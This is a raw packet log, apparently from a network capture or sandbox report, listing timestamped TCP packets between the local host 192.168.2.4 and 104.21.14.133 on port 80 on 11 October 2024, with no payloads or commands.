Oct 11, 2024 04:10:44.108798027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.108817101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.108817101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.108846903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.108884096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.108891964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.108891964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.108916998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.108928919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.108968019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109002113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109023094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109035015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109042883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109070063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109093904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109102964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109112978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109134912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109150887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109170914 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109184980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109205008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109214067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109239101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109253883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109272003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109292030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109308004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109322071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109344959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109376907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109400988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109410048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109441996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.109447956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109471083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.109487057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164427042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164478064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164490938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164514065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164525032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164547920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164561987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164594889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164599895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164632082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164652109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164664984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164684057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164702892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164725065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164736032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164786100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164788961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164819956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164835930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164853096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164866924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164886951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164901972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164927006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.164937019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.164971113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165003061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165024042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165040970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165049076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165075064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165092945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165129900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165146112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165196896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165230989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165250063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165281057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165286064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165314913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165337086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165364981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165368080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165399075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165431976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165450096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165465117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165514946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165514946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165556908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165590048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165599108 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165599108 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165625095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165657997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165658951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165679932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165699005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165709019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165741920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165774107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165788889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165788889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165810108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165843010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165858030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165894032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165894032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165929079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165946960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165961981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.165971041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.165994883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166011095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166028976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166048050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166064024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166070938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166095972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166116953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166127920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166136980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166181087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166196108 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166227102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166233063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166266918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166284084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166301012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166313887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166336060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166369915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166380882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166418076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166423082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166456938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166476011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166490078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166501045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166522980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166538000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166553974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166574001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166603088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166608095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166639090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166651011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166671991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166688919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166706085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166731119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166752100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166759968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166794062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166812897 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166826963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166861057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166872978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166893959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166894913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166913033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166929007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166958094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166960001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.166979074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.166995049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167009115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167030096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167046070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167073011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167078018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167124987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167134047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167160988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167192936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167208910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167226076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167259932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167273045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167294025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167316914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167327881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167341948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167361975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167380095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167432070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167464972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167474031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167498112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167512894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167531967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167550087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167566061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167573929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167601109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167615891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167634010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167663097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167668104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167700052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167720079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167733908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167752981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167764902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.167782068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.167814016 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196213961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196268082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196297884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196347952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196382046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196392059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196392059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196392059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196392059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196419954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196455002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196471930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196472883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196487904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196513891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196525097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196537971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196578979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196587086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196629047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196631908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196662903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196681976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196696043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196721077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196729898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196746111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196763992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196784019 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196798086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196809053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196832895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196845055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196866989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196882010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196902990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196918964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196933031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196955919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.196965933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.196980000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.197000980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.197020054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.197053909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.249968052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.249998093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250049114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250071049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250072002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250082970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250117064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250145912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250145912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250153065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250241995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250274897 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250292063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250335932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250343084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250376940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250381947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250427961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250464916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250479937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250530958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250567913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250581980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250633955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250669956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250670910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250703096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250735044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250740051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250787020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250824928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250835896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250870943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250906944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.250920057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250955105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250986099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.250993013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251020908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251053095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251055956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251085997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251125097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251141071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251194000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251226902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251262903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251262903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251312971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251344919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251353979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251379967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251389980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251462936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251483917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251499891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251542091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251548052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251575947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251607895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251612902 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251641989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251674891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251679897 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251709938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251740932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251745939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251775980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251812935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251826048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251877069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251908064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251912117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251945019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.251981020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.251996994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252032995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252064943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252067089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252098083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252130032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252135992 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252182007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252222061 CEST	80	49733	104.21.14.133	192.168.2.4
